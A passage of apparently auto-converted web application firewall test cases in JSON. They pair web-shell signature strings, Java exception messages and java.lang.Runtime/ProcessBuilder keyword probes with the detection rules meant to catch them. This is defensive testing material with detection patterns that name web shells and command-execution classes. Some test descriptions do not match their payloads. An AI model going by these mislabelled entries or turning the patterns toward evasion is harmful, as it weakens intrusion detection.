.:NCC:. Shell v\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "web-shells-php.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "955100", "test_description": "Matching web shell NCC Shell" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "web-shells-php.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "955100", "test_description": "Matching web shell Simple PHP backdoor" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"-:[GreenwooD]:- WinX Shell\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "web-shells-php.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "955100", "test_description": "Matching web shell WinX Shell" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"r57 Shell Version 1.50\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "r57 Shell Version [0-9.]+|r57 shell", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "955110", "test_description": "R57 Webshell Test as per https://github.com/r57shell/r57-shell/blob/e85aeeea421b76777e95ae00ae57bba79d5d9389/r57.php#L38" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"example.com - WSO 4.2.6\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "^.*?(?: -)? W[Ss][Oo] [0-9.]+", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "955120", "test_description": "Matching web shell NCC Shell" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"example.com Wso 2024\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "^.*?(?: -)? W[Ss][Oo] [0-9.]+", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "955120", "test_description": "Matching web shell Simple PHP backdoor" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"\\n\\nRu24PostWebShell -\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "^<html>\\n<head>\\n<title>Ru24PostWebShell ", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "955260", "test_description": "Matching web shell Ru24PostWebShell. Our test infrastructure, currently, cannot run this test properly because of multiline output, so it's disabled." } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"<title>Webshell Akmal archtte id\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "web-shells-asp.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "955400", "test_description": "Matching web shell Akmal archtte id ASPX shell" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"ASPYDrvsInfo\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "web-shells-asp.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "955400", "test_description": "Matching web shell ASPYDrv shell" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"RHTOOLS\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "web-shells-asp.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "955400", "test_description": "Matching web shell RHTOOLS shell" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"javax.servlet.ServletException: Error occurred during request processing\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:java[\\.a-z]+E(?:xception|rror)|(?:org|com)\\.[\\.a-z]+Exception|Exception in thread \\\"[^\\\"]*\\\"|at[\\s\\x0b]+(?:ja(?:vax?|karta)|org|com))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "952110", "test_description": "javax.servlet.ServletException" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"org.springframework.web.client.HttpClientErrorException: 400 Bad Request\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:java[\\.a-z]+E(?:xception|rror)|(?:org|com)\\.[\\.a-z]+Exception|Exception in thread \\\"[^\\\"]*\\\"|at[\\s\\x0b]+(?:ja(?:vax?|karta)|org|com))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "952110", "test_description": "org.springframework.web.client.HttpClientErrorException" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"org.hibernate.exception.ConstraintViolationException: could not execute statement\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:java[\\.a-z]+E(?:xception|rror)|(?:org|com)\\.[\\.a-z]+Exception|Exception in thread \\\"[^\\\"]*\\\"|at[\\s\\x0b]+(?:ja(?:vax?|karta)|org|com))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "952110", "test_description": "org.hibernate.exception.ConstraintViolationException" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"java.net.SocketTimeoutException: Read timed out\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:java[\\.a-z]+E(?:xception|rror)|(?:org|com)\\.[\\.a-z]+Exception|Exception in thread \\\"[^\\\"]*\\\"|at[\\s\\x0b]+(?:ja(?:vax?|karta)|org|com))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "952110", "test_description": "java.net.SocketTimeoutException" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"org.springframework.security.access.AccessDeniedException: Access is denied\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:java[\\.a-z]+E(?:xception|rror)|(?:org|com)\\.[\\.a-z]+Exception|Exception in thread \\\"[^\\\"]*\\\"|at[\\s\\x0b]+(?:ja(?:vax?|karta)|org|com))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "952110", "test_description": "org.springframework.security.access.AccessDeniedException" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"java.lang.NullPointerException\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:java[\\.a-z]+E(?:xception|rror)|(?:org|com)\\.[\\.a-z]+Exception|Exception in thread \\\"[^\\\"]*\\\"|at[\\s\\x0b]+(?:ja(?:vax?|karta)|org|com))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "952110", "test_description": "java.lang.NullPointerException" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"com.fasterxml.jackson.databind.JsonMappingException: Unexpected character ('}' (code 125)): was expecting double-quote to start field name\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:java[\\.a-z]+E(?:xception|rror)|(?:org|com)\\.[\\.a-z]+Exception|Exception in thread \\\"[^\\\"]*\\\"|at[\\s\\x0b]+(?:ja(?:vax?|karta)|org|com))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "952110", "test_description": "com.fasterxml.jackson.databind.JsonMappingException" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"org.apache.jasper.JasperException: Unable to compile class for JSP\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:java[\\.a-z]+E(?:xception|rror)|(?:org|com)\\.[\\.a-z]+Exception|Exception in thread \\\"[^\\\"]*\\\"|at[\\s\\x0b]+(?:ja(?:vax?|karta)|org|com))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "952110", "test_description": "org.apache.jasper.JasperException" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"org.apache.catalina.LifecycleException: Failed to start component [StandardEngine[Catalina]]\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:java[\\.a-z]+E(?:xception|rror)|(?:org|com)\\.[\\.a-z]+Exception|Exception in thread \\\"[^\\\"]*\\\"|at[\\s\\x0b]+(?:ja(?:vax?|karta)|org|com))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "952110", "test_description": "org.apache.catalina.LifecycleException" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"body\": \"Clicking on the date/time link will take you to that comment on your live site.\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "RESPONSE_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:java[\\.a-z]+E(?:xception|rror)|(?:org|com)\\.[\\.a-z]+Exception|Exception in thread \\\"[^\\\"]*\\\"|at[\\s\\x0b]+(?:ja(?:vax?|karta)|org|com))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-disclosure" ], "severity": "ERROR" }, "metadata": { "rule_id": "952110", "test_description": "False Positive matching 'at com'" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.lang.Runtime" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\.lang\\.(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944100", "test_description": "Argument test includes keywords java.lang.Runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.lang.ProcessBuilder" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\.lang\\.(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944100", "test_description": "Argument test includes keywords java.lang.ProcessBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.lang.Runtime=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\.lang\\.(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944100", "test_description": "Argument name includes keywords java.lang.Runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.lang.ProcessBuilder=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\.lang\\.(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944100", "test_description": "Argument name includes keywords java.lang.ProcessBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\.lang\\.(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944100", "test_description": "Cookie test includes keywords java.lang.Runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\.lang\\.(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944100", "test_description": "Cookie test includes keywords java.lang.ProcessBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\.lang\\.(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944100", "test_description": "Cookie name includes keywords java.lang.Runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\.lang\\.(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944100", "test_description": "Cookie name includes keywords java.lang.ProcessBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\.lang\\.(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944100", "test_description": "Request header test includes keywords java.lang.Runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\.lang\\.(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944100", "test_description": "Request header test includes keywords java.lang.ProcessBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><java.lang.Runtime attribute_name=\"attribute_value\">value</java.lang.Runtime></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\.lang\\.(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944100", "test_description": "XML element includes keywords java.lang.Runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element java.lang.Runtime=\"attribute_value\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\.lang\\.(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944100", "test_description": "XML attribute name includes keywords java.lang.Runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.lang.Runtime\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\.lang\\.(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944100", "test_description": "XML attribute value includes keywords java.lang.Runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.lang.Runtime</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\.lang\\.(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944100", "test_description": "XML element value includes keywords java.lang.Runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><java.lang.ProcessBuilder attribute_name=\"attribute_value\">value</java.lang.ProcessBuilder></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\.lang\\.(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944100", "test_description": "XML element includes keywords java.lang.ProcessBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element java.lang.ProcessBuilder=\"attribute_value\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\.lang\\.(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944100", "test_description": "XML attribute name includes keywords java.lang.ProcessBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.lang.ProcessBuilder\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\.lang\\.(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944100", "test_description": "XML attribute value includes keywords java.lang.ProcessBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.lang.ProcessBuilder</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\.lang\\.(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944100", "test_description": "XML element value includes keywords java.lang.ProcessBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.Runtime" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944110", "test_description": "Argument test includes keywords java. and Runtime" 